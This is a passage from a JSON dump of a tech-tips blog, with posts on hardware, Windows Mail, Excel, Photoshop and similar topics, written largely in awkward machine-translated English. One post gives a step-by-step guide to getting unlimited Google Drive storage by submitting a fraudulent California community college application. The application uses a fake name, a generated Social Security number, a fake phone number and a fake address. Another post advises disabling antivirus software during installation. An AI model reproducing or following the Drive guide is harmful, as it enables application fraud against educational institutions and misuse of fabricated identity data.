ncG1vNJzZmismaXArq3KnmWcp51khG6uxKyrZp6imrJuvMOfZJ%2BhnJp6prDIraCnn12ovKfA1pqpng%3D%3D\n","link":"/post/7-best-free-pdf-file-editing-software/","section":"post","tags":null,"title":"7 best free PDF file editing software"},{"body":"iFixit is one of the technology sites specializing in opening devices to assess the difficulty of repair as well as details of internal components. This time the iFixit page device rated the MacBook Retina 2015, the result of Apple's new computer score of 1/10 calculated on the level of repair.\n  First of all, change the charger of the MacBook Retina 2015, using Type-C USB port, detachable cord other than the charger of the previous MacBook Pro or MacBook Air. The picture is a 10-watt iPad charger, a 29-watt MacBook Retina and a 60-watt MacBook Air Magsafe, respectively from the left.\n  The keyboard with a new mechanism called the butterfly mechanism, is more stable, reducing the thickness by up to 40% so that the thickest part of the 2015 MacBook Retina is only 13.1mm . New Touch Touchpad Mouse Touch Touchpad, with different touch levels.\n  2015 MacBook Retina is equipped with 13.3-inch screen, resolution of 2560 x 1600 pixels , 227 ppi pixel density, IPS LCD panel, you can see the enlarged image from the screen above.\n  Same as on MacBook Air or MacBook Pro, to be able to remove the bottom cover to open the 5-pointed star-shaped screws ( pentalobe ).\n  Quite a lot of cables connect between the two details, because the battery and the main board of the MacBook Retina 2015 are placed on the lower back cover, unlike the MacBook Pro Retina, which is merely aluminum.\n  After using specialized tools to remove the connecting cable, you can separate the 2 parts of the MacBook Retina 2015.\n  The main board of the MacBook Retina 2015 is small in size, it must use specialized tools such as plastic cards, picks, 3-edge screwdriver . so removing the details is not simple.\n  Removing the main board, which is small in size, this is especially the first Apple computer to not use a cooling fan, partly because of the Intel Core M processor clocked at 1.1 GHz or 1.2 GHz dual-core ( can choose 1.3 GHz processor with less heat generated.\n  The main board is designed with two sides, the first side includes:\nRed part: Intel Core M Processor Yellow part: Toshiba TH58TFT0DFKLAVF 128 GB MLC NAND Flash Light blue part: Broadcom BCM15700A2 can be network chipset. Dark blue part: Murata 339S0250 ( capable of similar Wi-Fi module 339S02541 in iPad Air 2 ) Pink part: 980 YFE TM4EA231 H6ZXRI 49AQN5W GI Orange part: SK Hynix H9TKNNN4GDMRRR-NGM 4 Gb ( 512 MB ) LPDDR3-SDRAM   The second side of the main board includes:\nOrange part: Toshiba memory chip TH58TFT0DFKLAVF NB2953 128 GB MLC NAND ( The side also includes a 128GB memory chip, a total of 256GB ). Yellow part: NXP microcontroller 11U37, 128 kB flash, 10KB SRAM Green part: SMSC 1704-2 temperature sensor Red part: RAM 8 GB LPDDR3 - Elpida / Micron FB164A1MA-GD-F Blue part: Texas Instruments SN6508   Next is to remove the battery from the bottom cover of the MacBook Retina 2015, the battery is glued with glue so must use a new device can be separated, it will be difficult to remove and replace when necessary.\n  Apple has taken full advantage of the internal space, the aluminum frame is also milling details to apply layer battery technology, providing an additional 35% of the battery capacity.\n  Then to the speaker, according to iFixit can be coated with dielectric. And if this is a dielectric layer, some of Apple's recent patents might suggest that the company is using speaker clusters to form a dual antenna, which helps optimize the hardware.\n  Next is the Force Touch Trackpad force-sensing table, using glue to attach the details inside.\n  Again, Apple uses glue, but this time it is used to mount a plastic layer underneath the keyboard of the MacBook Retina 2015.\n  The keyboard with the new mechanism is called the butterfly mechanism.\n  Full image details inside MacBook Retina 2015.\n  In conclusion, the iFixit rated MacBook Retina 2015 is one of the hard-to-remove and repair devices, with a score of only 1 on a 10-point scale. The details that make MacBook Retina difficult to remove and replace repair:\nExclusive pentalobe screw, need specialized tool to open Connection cables also interfere with device removal USB-C port fixed by screw, placed below the display frame, complicated to replace. Batteries are mounted with glue, also need specialized heat equipment to separate, difficult to replace. Details like the processor, RAM, and flash memory are soldered to the board. The screen does not have a separate protective layer, but a fixed cluster, when replacing the cost will be high. ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2FyJ2cZqWRmK%2Bwu8pmqZ6smaOubn6Pamxmnaimwqq%2FyK2cZpyVqLaouoyvnKuxXZm2p7LInKylrF2pvG6%2BxKmYoqo%3D\n","link":"/post/exquisite-design-very-difficult-to-repair/","section":"post","tags":null,"title":"Exquisite design, very difficult to repair"},{"body":"Facebook recently introduced a new programming language that speeds up writing and testing software. Called Hack, Facebook's internal language has been used for over a year now and it now makes it an open standard for everyone to use.\n  \nKnown Hack is a combination of static programming language elements like C with dynamic languages ​​like PHP. With static language, the editor will help you to know many errors in the source code before running, so it is safer and more secure, and in dynamic languages, you have to run the software and then you know what error you wear. although it allows us to write code faster.\nSo Hack was born as a compromise between both factors. It will tell you when your source code is mistakenly written through an internal server ( like the first image ), we don't need to put the code on the server running like PHP and then detect the error. In the process of writing, tag You often use a tag instead . And if you have created PHP files, the running environment called \" HHVM \" can still compile both PHP and Hack languages, so you won't worry about compatibility issues.\nBryan O'Sullivan , Head of Hack, said that Facebook itself is written based on PHP, but when many of the company's developers work on multiple projects, finding errors before running gradually becomes necessary. than. Hack will help shorten the time, save the cost of writing software, regardless of whether it is a large or small project. However, O'Sullivan emphasized that Hack will not affect the running speed of the source code ( and the speed of running the software in general ), it only helps with the development process only.\nncG1vNJzZmismaXArq3KnmWcp51ks6KvxJumqKNdnru1vs6drJydlGLBqbGMqamon6KWuq61zaBkpZmenMKis8Rmn5qbm2LBsHnHnqOpZaentrWxjKymn6ynlr%2BmecWaqq2dog%3D%3D\n","link":"/post/facebook-introduced-the-programming-language-hack-to-help-write-software-faster/","section":"post","tags":null,"title":"Facebook introduced the programming language 'Hack' to help write software faster"},{"body":"When buying a laptop, consumers only care about parameters such as CPU, RAM, hard drive . but less attention to the screen, a very important component. Ratio and screen resolution Previously, most laptop screens had only two types of 'square' or 'wide'. In fact, the screen aspect ratio is not simply 'square' or 'wide' but is divided into different levels, depending on the resolution. For example, the usual 'square' 15-inch screen will have a resolution of 1024x768 pixels, or 1400x1050 pixels, equivalent to a 4: 3 ratio. This is a common ratio for screens ever (especially for CRT or TV screens). The screen has a 4: 3 resolution ratio usually without the W symbol and includes some of the following common types:\nNormal screen Wide screenXGA / 1024x768 / 4: 3WXGA / 1280x768 / 5: 3SXGA / 1280x1024 / 5: 4 * WXGA / 1280x800 / (16:10) SXGA + / 1400x1050 / 4: 3WXGA + / 1440x900 / (16:10) UXGA / 1600x1200 / 4: 3WSXGA + / 1680x1050 / (16:10) WUXGA / 1920x1200 / (16:10)\nCurrently, the wide screen with 16:10 ratio almost exclusively dominates the laptop market. The 16: 9 ratio is mainly used in movie display devices, so if you watch DVD movies on laptops with large screens, you still see black bands on either side of the frame. You should also note that the LCD screen has a constant number of pixels so when the graphics card output is low resolution, many pixels will have to use different display algorithms to 'hide' less. The inevitable consequence is that the image will be blurred a lot!\nScreen size The manufacturer lists the screen size diagonally and in inches. The following is a list of common screen types commonly found on laptops: Normal 4: 3 ratio:\n 14 \"- XGA\n  15 \"- XGA, SXGA +\n Currently popular wide screen:\n 10.6 \"- WXGA (1280x768)\n  12.1 \"- WXGA (1280x800)\n  13.3 \"- WXGA (1280x800)\n  14.1 \"- WXGA (1280x800)\n 15.4 \"- WXGA (1280x800), WXGA +, WSXGA +\n 17 \"- WXGA, WXGA +, WSXGA +, WUXGA\n Among these, the most popular 14.1-inch screen type, due to the balance between mobility and working comfort. The 15.4-inch size is suitable for laptops used for desktop replacement purposes, while the 17-inch limits users to certain areas (graphic design, video editing). , gaming.). The size of 13.3-inch and below is ideal for very compact and slim moving.\nCurrently, the wide format screen almost occupies the top spot in the laptop market, thanks to the advantage of enhancing the viewing space, while minimizing the body size enhancement. Biologically, the human eye has a horizontal view larger than the vertical range, so the wide format is also more suitable. In addition, modern games and applications have also actively supported the 16:10 ratio. Models with 4: 3 screens are no longer available, except for some Lenovo models.    Glossy \u0026amp; Matte: mirror screen, matte screen \n In terms of appearance, there are two types of screens that users are accustomed to to call a normal screen (matte), and a mirror screen (glossy), which is preferred. Want to know what kind of monitor your laptop is using? - Very simple, because as the name implies, the mirror screen is very shiny thanks to the protective layer covered up on the display surface, in order to reduce the black space between pixels, to help enhance brightness and contrast (similar For longer battery life, by reducing the power supplied to the monitor). Unfortunately, the weakness of the mirror screen is also this reflection. Some users believe that using a computer with a mirror screen is more eye-strain than blurring. However, when selected, most buyers choose a mirror (: D), not only because of its bright effect, but also because of its 'stylish' appearance when the laptop has this type of screen. Mirror screens also have a slightly higher price than regular ones. - Appeared since the LCD screen was born, but now the normal screen (blurred) is still used. For some people who regularly use laptops, this type of screen is a more attractive option because it does not reflect light like a mirror screen. In addition, the latest lines have very good contrast, while reducing the black space between pixels. Therefore, they still appear quite a lot in the new Apple computers, or Dell.\nncG1vNJzZmismaXArq3KnmWcp51ks6q6w2amrqxdlq%2BwwdNmo5qopKS9br%2FCq5yepl2pxrGx0g%3D%3D\n","link":"/post/find-out-about-laptop-screen-types/","section":"post","tags":null,"title":"Find out about laptop screen types"},{"body":" 20 illustrations will make you review your wishes \"Laughing does not shut up\" with 23 photos falling into the hands of photoshop workers without a heart Entertainment with 20+ funny photos due to the need to blink without mind After watching the series of funny pictures in the battle of Photoshop by the photo processing experts in part 1 and 2 how do you feel? Let's TipsMake.com continue to see a series of funny photos in the battle of Photoshop of the photo processing experts in part 3 - the photos accidentally accidentally on the network are photoshop experts turned into artistic photos with 1-0- 2. Please watch it!\n52. Is the tiger so hungry to lick the face of the man holding the milk?\n    53. How are you going to fix this original photo?\n    54. Did you see his chin?\n    55. Practicing hard, don't bother me!\n    56. Turnip Turnip\n    57. Actor Nicholas Cage at Walgreens retailer.\n    58. The clever coordination between the girl and the whale.\n    59. In fact, the original photo has nothing, but Photoshop photos are extremely impressive!\n    60. Only a simple photo like this evokes imagination in them!\n    61. George Clooney - Hollywood's perfect gentleman.\n    62. Sassy dog\n    63. Jeremy Clarkson is driving .\n    64. Nobody cares about children!\n    65. Don't understand what position it is!\n    66. Girl selling chili.\n    67. Tigers learn to dance.\n    68. How does Photoshop disappear when the tiger disappears!\n    69. Long time to breathe in the air.\n    70. Exercise in the morning!\n    71. I still have each other!\n    72. From a tiger to a giant tiger!\n    73. Super special wooden sculptures!\n    74. David Hasselhoff muscle amateurs.\n  75. Just an unintended incident!\n    76. Saiga antelope\n    77. Art is here!\n    78. Kittens are trying to slip through tires!\n    79. Winter in a remote place.\n    80. Adventure?\n    81. Dog and cat lovers!\n    82. Mink ecmin with prey.\n    Refer to some more articles:\n30+ images proving anything in life can happen Laughing does not shut up with 16 clones of the super-muddy saints 33 rare photos of very different angles of all things in the world Having fun!\nncG1vNJzZmismaXArq3KnmWcp51ks7a6zbJkrJ2inrK0ecinZKmgn6m8tLTOqWSbmaSpuaZ5zp9kqaCfqbyurcqipaBlla29pr7TrGSpmaKpenQ%3D\n","link":"/post/funny-series-in-photoshop-battle-of-photo-making-experts-part-3/","section":"post","tags":null,"title":"Funny series in Photoshop battle of photo-making experts (Part 3)"},{"body":"Mail application is the default email application in Windows 10. In the past 6 years, the Mail application has evolved into one of the best email applications for Windows 10. It has everything you would expect from a manager. free email.\nThe Windows 10 Mail app supports the very popular Gmail webmail service, among many others. If you don't want to use a web browser to check and respond to emails in Gmail, you can add your Gmail account to the Mail app.\nIn this guide, TipsMake.com will show you how to add and set up a Gmail account in the Windows 10 Mail app.\nAdd Gmail to the Mail app in Windows 10 Step 1 : First of all, launch the Mail application. If you haven't added any email accounts to the Mail app, you'll see a welcome page where you need to click the Add account option .\nIf you have added one or more email accounts to the Mail app, click the gear icon (located at the bottom left) to see Settings. Click the Manage accounts option .\nStep 2 : Next, click the Add account option to open the Add an account dialog box . Skip this step if you clicked on the Add account option in Step 1.\nStep 3 : Here, click on Google options . Clicking on the Google icon will display the new Google login page.\nStep 4 : Enter your Gmail account address. Click the Next button .\nStep 5 : Enter your Gmail account password before clicking the Next button .\nStep 6 : If you have enabled two-step authentication for your Gmail account, you will be asked to enter a verification code.\nStep 7 : Finally, click the Allow button and then click the Done button to start syncing your Gmail account.\nStep 8 : On the left panel of the Mail app, your Gmail address will appear. Click on it to see the inbox.\nPin all Gmail folders to the left panel With the default settings, the Mail app does not display all folders in the left panel. To view all folders, you need to click on the More option . To add other directories like Drafts, Spam, Sent Mail and Trash to the left panel, do the following:\nStep 1 : In the left panel of the Mail app, click on your Gmail account.\nStep 2 : Click the More link to see all folders. Right-click a folder and then click the Add to Favorites option to add it to the left panel.\nMake Windows 10 Mail download all emails With the default email setting, Mail Windows 10 will sync your email for the past 3 months. To force the Mail application to synchronize all emails:\nStep 1 : On the left panel of the Mail app, right-click on your Gmail account address and then click on the Account settings option .\nStep 2 : Click the Change mailbox sync settings option .\nStep 3 : In the Download email from box, select Any time to sync all emails in your Gmail account. The Mail application may take some time to download all emails.\nHow to make Mail 10 Windows sync email faster The Windows 10 Mail app can check for new emails in your Gmail account once every few minutes to save battery and data. If you receive many emails a day and want to force Mail to download when you receive them, here's what you need to do:\nStep 1 : On the left panel of the Mail app, right-click on your Gmail address and then click the Account settings option to open the Account settings dialog box .\nStep 2 : Here, click the Change mailbox sync settings option to see available Gmail sync settings .\nStep 3 : In the box Download new email , select As items arrive . Note that this option may use more battery as the Mail app will constantly check for new email in your Gmail inbox.\nPin a Gmail account to the Start menu You may want to pin your Gmail account to the Start menu so you can look through the latest emails without opening the Mail app. Here is how to do it.\nStep 1 : Right-click on the Gmail account address on the left and then click Pin to Start .\nStep 2 : Drag the newly added tile to the top of the Start menu to view new emails whenever you open Start. If the tile does not display any details, right-click it, select More , and then click Turn live tile on .\nDelete Gmail from Windows 10 Mail Windows 10 currently doesn't offer the option to log out of the Mail app. Instead, it gives you the option to delete your email account from the Mail app. Here is how to do it.\nStep 1 : Open the Account settings dialog box by right-clicking on the Gmail address and then clicking on the Account settings option .\nStep 2 : Click the Delete account / Delete account from this device option .\nStep 3 : When you receive the following confirmation dialog box, click the Delete button .\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqoucCio2asn2LBqbGMsKCnnJ%2BswG59j2akmqGcYq6xvA%3D%3D\n","link":"/post/how-to-add-gmail-to-the-windows-10-mail-app/","section":"post","tags":null,"title":"How to add Gmail to the Windows 10 Mail app"},{"body":"Google Drive is currently a popular cloud storage service, due to its ability to synchronize data to be accessible at any device. However, in the case of always using Google Drive to store documents, images, videos, etc., the capacity that you are provided is quite small.\nIn the article below, we will guide you how to create a Google Drive Unlimited account. This is an account that allows users to store unlimited documents.\nBasically, users will create a student account at a US university and will be granted a Google Drive account with unlimited usage.\nNote to readers , the tutorial will have many steps so you need to follow up in detail and perform exactly each step to be able to register your Google Drive account with unlimited data upload.\nCreate a Google Drive account with unlimited storage Step 1: First of all, users access the website according to the link below.\nhttps://home.cccapply.org/ We choose Canada Colleage and click Apply to continue.\n  Step 2: In the new content interface, users click on Complete an online application for admissions .\n  Step 3: Switch to the new interface and click Create an Account to create a new account.\n  Step 4: Click on the Begin Creating My Account button to switch to the new website interface. We keep this site intact.\n  Step 5: Next, click on the link below to select a random person for account creation.\nhttp://www.fakenamegenerator.com/ Step 6: The information interface appears below.\n  We need to copy the name information on this website and paste it into the account creation website on OpenCCC. Include First Name and Last Name and then select according to the picture.\n  Step 7: Scroll down to the Date of Birth section , enter the slightly older year of birth, for example, in the 1990s, before it started.\n  Step 8: Continue on Social Security Number and select Social Security Number .\n  Step 9: Continue to visit another website to get the SSN according to the link below.\nhttp://www.theonegenerator.com/ssngenerator In case the link above has overloaded access, users access some links below to get SSN.\nhttps://www.ssn-verify.com/generate https://fakena.me/fake-social-security-number/ Click the Generate button to get the SSN range.\n  Next copy this SSN sequence into the Social Security Number box at OpenCCC page, without typing the '-' sign . You need to enter this SSN sequence in the Repeat field as well. Finally click Continue to continue.\n  Step 10: On the next page, the Email section we will need to enter the personal Gmail address currently in use.\n  Next to the phone number, we need to use a fake phone number. Visit the link below to get the phone number.\nhttp://www.fakeaddressgenerator.com/Random_Address/US_California Step 11: Switch to the new interface, look to the right of the outer interface you will see the Custom Generate dialog box. Here you set up the state as CA ( California) and click Generate .\n  Soon you will see new information and look to the Phone Number line. This will be the phone number you need to use.\n  Step 12: Please enter the phone number in the Main telephone number box .\n  Step 13: To enter the address information, click on the link below.\nhttp://www.fakeaddressgenerator.com/Random_Address/US_California You copy the address information on the above page and enter the information in the Permanent Address section as shown below. Include Street Address, City, State ZIP Code. Check the box I have . Click Continue to continue.\n  Step 14: Next to the Create an Account interface, you need to enter the account name, the password consists of 7 to 20 characters with both numbers and letters, security questions, PIN codes.\n  When you have completed the sections to fill, click Create My Account .\n  Step 15: We will then see a message to create a successful account, followed by an individual CCCID number . Click Continue to continue.\n  Step 16: Next click on Start Application to switch to entering personal information.\n  To this new interface, users will fill in the necessary personal information according to each item in the outer list on the left of the interface.\nFirst is Enrollment Infomation , enter the information as shown below and click Continue .\n  In Account / Mailing Infomation section , select the box in the Current Mailing Address section , then click Continue .\n  In the Personal Infomation section, fill in the items as shown and then click Continue .\n  Education section, fill in the same options as the picture and click Continue .\n  Citizenship / Military section select US Citizen, None apply to me and click Continue .\n  The Residency section also fills in the same items as the image and presses Continue .\n  The Needs \u0026amp; Interest section selects the sections below and presses Continue .\n  Select the Consent section and click on I Consent then click Continue .\n  Review Review Application , check all the information entered in the content and check the box I have reviewed this application and confirm it its complete and accurate at the bottom of the page.\n  Next to the Submission , check 2 By By Checking here and check the box to Submit My Application .\n  Finally, go to the new interface and click Continue .\n  Step 17: So we have completed the registration steps. Now users need to access the Gmail account using the above registration to receive confirmation email. The first email we will receive soon.\n  However, you will need to wait until the next email to complete the registration to use Google Drive unlimited.\nStep 18: In the following email, the user will receive a link to enter the account and password to login. The account and password will be available in the email sent to the user.\n  You follow the instructions in the email content.\n  Click Accept to agree to the terms.\n  Step 19: Finally after completing each step of confirmation, we will receive a successful notification stored on Google Drive unlimited.\n  Above is the article how to create a Google Drive Unlimited account, to be able to store documents for free, unlimited storage, support all data upload formats. If we receive the first email, just wait an hour or a few hours later to receive the next confirmation email.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyapWatnqG2rrXTnptmn5%2BktK2xjJ2poq6VYsKvuMimoK2dlGKupK%2FOrqWt\n","link":"/post/how-to-create-an-unlimited-google-drive-unlimited-account/","section":"post","tags":null,"title":"How to create an unlimited Google Drive Unlimited account"},{"body":"By creating Hyperlink in Excel spreadsheets, we can access any web page or manage spreadsheets in different sheets in the same data file. This makes it easier for users to move between spreadsheets, especially active files with multiple sheets, saving time and manipulation while working on Excel.\nThere are many different tricks for using Excel Hyperlink. And how to create Hyperlink in Excel between spreadsheets is different from creating Hyperlink in Excel with normal data. The following article Network administrators will guide you how to create Hyperlink to move to another spreadsheet in the same Excel file, and create Hyperlink to link to a completely new data file.\n1. Create Hyperlink to link the workbook and Excel file: How to create this Hyperlink will help you to link the spreadsheets located in the data sheets in the same Excel file together.\nFor example, with the spreadsheet below, an Excel file consists of 3 different working sheets. The first worksheet is List A1, and we will proceed to create Hyperlink to link with the remaining spreadsheets including List A2 and A3 List.\n  Step 1:\nSelect the cell containing the data to which you want to link to another spreadsheet. Then, right-click and select Hyperlink . in the drop-down list.\n  Step 2:\nIn the Insert hyperlink dialog interface, we select the Place in This Document item in the list to the left of the interface. Then look to the right of the Cell Referenc e entry, check the worksheet that we want to create the link and click OK .\n  The spreadsheet results will look like the image below. When we click on the created Hyperlink, you will be immediately transferred to the linked worksheet.\n  2. Create Hyperlink linked to another Excel file: This way will help you quickly open another Excel file saved in your computer.\nStep 1:\nAlso in the spreadsheet, select the data box you want to create a link to another Excel worksheet, then right-click and select Hyperlink . in the list.\n  Step 2:\nAlso appears the Insert hyperlink dialog interface. Here, click on Existing File and Web page on the left side of the interface.\nTo the right, we find the folder containing the Excel file we want to add to the link , click and then click OK .\n  When you return to the spreadsheet you will also see the Hyperlink link created. If you click on it, the Excel file will be opened.\n  So with creating Hyperlink on Excel, we can create links with Excel spreadsheets in the same file or with a separate file. This will help you manage and open the data sheet faster, saving you time when working.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyhsKmdoqG2r7eMraZmpJmjuG6%2Fz6ucmpyjnbKmwNJmoKdlla2wprg%3D\n","link":"/post/how-to-create-hyperlink-to-link-spreadsheets-in-excel/","section":"post","tags":null,"title":"How to create Hyperlink to link spreadsheets in Excel"},{"body":" When you're tired of the World Cup broadcast being a cacophony of Vuvuzela, it's a relief to know that you can tone it down. Here are some ways to drown out the drone. The benefit of this option despite having to fiddle a bit more is that...\nMethod 1of 3:\nEqualizer (EQ) option (TV or Stereo) The benefit of this option despite having to fiddle a bit more is that you don't need a computer. You can perform this fix straight on your TV or stereo.\n Locate the equalizer. Either use equalizer on your stereo if you're using that to listen with, or the one on your TV, if it has one. If needed, read the manual accompanying the stereo or TV for instructions on how to adjust the equalizer settings.\n  Adjust the hardware settings of your equalizer. It is recommended to turn the frequency down as low as your equipment can go; try lowering sound level of the frequencies 235 Hz and 465 Hz with about 40 decibels.[1] The drone sound should be considerably reduced, or even removed.\n  Continue to adjust the different frequencies until you are comfortable with the sound. Given that all TV sets differ, only you will be the ultimate judge of what works best here. Things to consider include: Level of sound of the commentators' voices; Ability to enjoy the rest of the atmosphere; and The level of comfort of all persons watching at home.  Method 2of 3:\nAdjust Treble or Speakers (TV or Stereo)  If you can't locate an equalizer on your TV or stereo, or just can't be bothered fiddling with it, try using your TV's treble sound control. Locate the treble control, and turn the treble sound down as far as is possible. Doing this should reduce the vuvuzela sound enough to be bearable.\n  Try adjusting your speakers if you have a surround sound system. Try lowering the volume of the speaker that brings out the crowd noise and raise the volume of the one with the commentator's voices. Keep adjusting until you get the balance right.\n Method 3of 3:\nEasy Free Software Option (Computer Assisted) With this option, you'll need to use the computer linked up to the audio of the TV. The benefit of this option is that the software will do all of the fiddling for you. The only adjustments that you'll need to make are dependent on the age and speed of your computer.\n Go to the National Instruments site. Download the free software here: http://decibel.ni.com/content/blogs/Simon/2010/06/16/world-cup-2010--filtering-the-annoying-vuvuzela-noise. There is a Windows and a Mac version available, choose whichever one suits your needs.\n  Install the software. If you don't have the Lab View Run-Time engine, you'll need to install this also (it's free).\n  Insert your computer into the audio signal flow of your TV. If the TV has an audio output, connect the sound card line in to this outlet. Connect the sound card's output to your usual listening devices (such as speakers or headphones).   Listen and check if it sounds better. If still needed, adjust the frequency on your computer. How much and whether you need to adjust will depend on the speed of your computer.\n  Micah Soto Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZocGmvoytn55lpqrDtsbEpZhmpp%2BewKY%3D\n","link":"/post/how-to-filter-the-vuvuzela-noise/","section":"post","tags":null,"title":"How to Filter the Vuvuzela Noise"},{"body":"You have just taken a nice picture on your phone and want to insert text messages on that photo, but you do not know how to do it. So, the following article of TipsMake.com will guide you step by step to insert text into pictures on Smartphone extremely simple offline. Please refer.\n  To be able to insert text into images on your phone you need to install photo editing software called Snapseed. This is the very famous image editing software, so you are not too strange, this software is available on both Android and IOS, go to the application store to find and install or access the link below:\nIOS: https://itunes.apple.com/en/app/snapseed/id439438619?mt=8\nAndroid: https://play.google.com/store/apps/details?id=com.niksoftware.snapseed\u0026amp;hl=en\nAfter installing the application, we will perform the steps to insert text on the image.\nStep 1 : At the main interface of the application you click the Open button or press the plus sign in the middle of the screen to open the photo library, then select a picture you want to insert text.\n  Step 2: After selecting the image, click the Tools button and then select the Text function.\n  Step 3: After selecting the text function, you will see a text appear on the image, double click on the text to change the content. For example, here we enter the word Dexterity Software.\n  Step 4 : After entering the content, you can click on the palette icon to change the color of the text.\n  Step 5 : You can change the transparency of the text by clicking on the water droplet icon then choosing the color for the text. You can also change the style of the text by clicking the icon to the right of the water drop and choosing the font style you like.\n  Step 6 : Move the text to the position you want and click the checkmark in the lower corner to save the setting. Finally, to save the image to your computer, press the Export button .\n  Step 7 : Then click the Save button to save the image to our phone.\n  And this is our result after inserting text into the image on the phone.\n  So with just a few simple steps, we can insert text on the image using Snapseed software, and our image has become much more beautiful and meaningful. Thank you for following the article.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqLKzwIytnLGsXZ67tbuMqaCcrKWnsrR5zqdksqelp3qxtM6nnA%3D%3D\n","link":"/post/how-to-insert-text-into-pictures-on-your-phone/","section":"post","tags":null,"title":"How to insert text into pictures on your phone"},{"body":" Microsoft Office 2007 offers a suite of desktop applications for personal and business use, including apps that allow you to send email and create documents, spreadsheets, presentations, and more. Microsoft Office 2007 can be installed...\nPart 1of 2:\nInstalling Microsoft Office 2007  Insert the Microsoft Office 2007 setup disk into the disk drive on your computer. The Setup Wizard will automatically display on-screen after a few moments. Click on 'Start,' select 'Run,' then type 'D:setup.exe' to launch the setup wizard if it fails to automatically display on-screen. If you do not have an Office 2007 setup disk, navigate to Office Setup at https://setup.office.com/ and proceed with the following steps.   Enter your 25-character Product Key, then click 'Continue.' Your Office 2007 Product Key can be found inside your product package or in your purchase confirmation email.[1]\n  Read and accept the Microsoft Software License Terms, then click 'Continue.'\n  Select either 'Upgrade' or 'Custom,' depending on your preferred type of installation. If you want Office 2007 to replace an earlier version of Office, select 'Upgrade.' If you want to keep your existing version of Office installed on your computer, select 'Custom.' If you select 'Custom,' click the radio button next to 'Keep all previous versions,' then click on the 'Installation Options' tab and select 'Run all from My Computer.' The setup wizard will then proceed with installation.   Wait for Office 2007 to install on your computer. The installation process takes between 15 and 30 minutes to complete.\n  Click on 'Close' when the setup wizard informs you Office 2007 was successfully installed.\n  Launch an Office 2007 product from your desktop or its saved location. The Microsoft Office Activation Wizard will display on-screen so you can activate your new software.\n  Select the option to activate the software over the Internet, then click 'Next.'\n  Click on 'Close' when Office 2007 informs you of successful activation, then click 'OK.' Your Office suite is now ready for use.\n Part 2of 2:\nTroubleshooting Setup  Disable all browser add-ons and extensionsif you experience difficulty with trying to install Office 2007. Some browser add-ons and extensions have been shown to interfere with the installation of Microsoft Office.\n  Delete temporary Internet filesif clicking on the 'Install' button fails to install Office 2007. Deleting Internet files can free up space on your machine and resolve conflicting security issues.\n  Try disabling your antivirus software if Office 2007 takes longer than 30 minutes to install. Some antivirus programs can interfere with the installation of Office 2007, or wrongly detect the program as a virus.\n  Stop all other installations and restart your computer if you receive an error saying Office cannot be installed because another installation is in progress. Restarting your computer will end all other processes so you can proceed with installation.[2]\n  Jessica Tanner Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmpKKboqTAsLLTZqafnpmYsm5%2Bj2lu\n","link":"/post/how-to-install-microsoft-office-2007/","section":"post","tags":null,"title":"How to Install Microsoft Office 2007"},{"body":"Normally, to save PSD files with many layers with heavy image capacity, Photoshop must work for a long time to process, then it can be saved. Photoshop will compress the files to limit the amount of space on the hard drive. Because of that operation mechanism, the image processing time will be extended, affecting your work.\nInstructions for creating animated images and GIF images in Adobe Photoshop CS6 Instructions for using Photoshop CS5 Photoshop CS: Pairing 2 simple images into one However, this problem is resolved in a fairly simple way to turn off the file compression feature according to the steps provided by the Network Administrator:\nIf using low Photoshop version Note , the steps below will interfere with the Windows Registry.\nStep 1: Exit Photoshop in use.\nStep 2: Download Adobe's DisallowFlateCompressedPSD plugin (supports both Windows and Mac operating systems).\nDisallowFlateCompressionPSD.plugin for Mac DisallowFlateCompressionRegKeys.zip for Windows Step 3: In the folder containing the DisallowFlateCompressedPSD plugin, extract the file using 7-Zip or WinRar.\n  Step 4: To enable DisallowFlateCompressedPSD, double-click DisallowFlateCompressedPSD_ON_D.reg .\n  Step 5: If you have the User account activated, click Yes in the Windows User Account Control dialog box.\nIf not enabled, the Registry Editor dialog box appears, click Yes to continue.\n  Step 6: A new dialog box appears, click OK to complete the process of adding the Registry.\n  Step 7: After you have completed the above steps, you must use the Admin account and restart Photoshop to be able to use it.\nStep 8: To disable, double-click DisallowFlateCompressed PSD_OFF.reg .\n  If on Mac OS, you also unzip the file then move the DisallowFlateCompressionPSD.plugin files that have been extracted under the Adobe Photoshop / Plugins / Extensions link .\nIf using Photoshop higher than CS5 Step 1: Access the following link: Edit\u0026gt; Preferences\u0026gt; File Handling .\n  Step 2: In the File Compatibility section, check the Disable Compression of PSD and PSB Files box .\n  So, we were able to speed up saving Photoshop files faster than usual with a few simple tricks.\nRefer to the following articles: Photoshop CS: How to create and use Brush (Part 1) Make sharp photos in 2 ways in Photoshop 5 basic photo editing tips on Adobe Photoshop Express I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquRq7JuvMeoq6irmKS9brLIpZysZWJlerW1zJ6qZp6RqMGmvg%3D%3D\n","link":"/post/how-to-save-photoshop-files-20-times-faster/","section":"post","tags":null,"title":"How to save Photoshop files 20 times faster"},{"body":" Windows Operating system provides a very stunning looks to its applications via Aero effects. Aero effect feature is available in Windows 7 \u0026amp; Windows Vista and you can even enable it in Windows 8. But, recently a problem with Aero effects...\nMethod 1of 1:\nAlternative Method  Make a click on the Start button and in the Start Search box type 'services.msc'. Then you will get 'Services' in the result, select it. Now find Desktop 'Window Manager Session Manager' in the list of services mentioned in the window.   Make a right click on it and choose Stop, when the service is completely stopped then Restart it.\n  For changes to make affect, restart or reboot your system. Thus by making the changes above mentioned you can troubleshoot the Aero transparency problem. If you have any computer problem then you can contact your local tech support center or tech site to resolve them. You can also use computer maintenance techniques like regularly update your antivirus, clear temporary files, hard disk repair, etc., for enhancing the speed and performance of computer.   Samuel Daniel Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyipMKjuMSsn6inpGKupr7OZpyfnpWYwW610qysnqs%3D\n","link":"/post/how-to-troubleshoot-aero-effect-issues/","section":"post","tags":null,"title":"How to Troubleshoot Aero Effect Issues"},{"body":"Unique Vaio Duo 11 with sliding screen touch design while Sony Vaio E and Vaio T ultrabook model upgrade new hardware and Windows 